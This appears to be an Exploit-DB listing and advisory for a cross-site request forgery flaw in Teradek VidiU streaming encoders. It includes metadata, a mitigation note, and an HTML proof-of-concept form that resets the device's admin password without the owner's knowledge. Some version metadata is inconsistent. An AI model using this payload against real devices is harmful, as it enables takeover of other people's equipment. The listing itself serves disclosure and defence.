Teradek VidiU Pro 3.0.3 CSRF Change Password Exploit

vendor:

VidiU, VidiU Mini, VidiU Pro

by:

Gjoko 'LiquidWorm' Krstic

8.8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: VidiU, VidiU Mini, VidiU Pro

Affected Version From: 3.0.3 (build 32136)

Affected Version To: 2.4.10

Patch Exists: YES

Related CWE: N/A

CPE: a:teradek:vidiu

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: lighttpd/1.4.48, lighttpd/1.4.31

2018

Teradek VidiU Pro 3.0.3 CSRF Change Password Exploit

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

Implementing a random token in the request and validating it on the server side can prevent CSRF attacks.

Source

Exploit-DB raw data:

<!--

Teradek VidiU Pro 3.0.3 CSRF Change Password Exploit


Vendor: Teradek, LLC
Product web page: https://www.teradek.com
Affected version: VidiU, VidiU Mini, VidiU Pro
                  3.0.3 (build 32136)
                  3.0.2 (build 31225)
                  2.4.10

Summary: The Teradek VidiU gives you the freedom to broadcast live
high definition video directly to the Web without a PC. Whether you're
streaming out of a video switcher or wirelessly from your camera,
VidiU allows you to go live when you want, where you want. VidiU
offers API level integration with the Ustream, YouTube Live and
Livestream platforms, which makes streaming to your channel as
easy as logging into your account.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: lighttpd/1.4.48
           lighttpd/1.4.31


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5460
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5460.php


02.03.2018

-->


<html>
  <body>
    <form action="http://127.0.0.1:8090/cgi-bin/password.cgi">
      <input type="hidden" name="pw1" value="P@ssw0rd" />
      <input type="hidden" name="pw2" value="P@ssw0rd" />
      <input type="hidden" name="user" value="admin" />
      <input type="submit" value="Initiate" />
    </form>
  </body>
</html>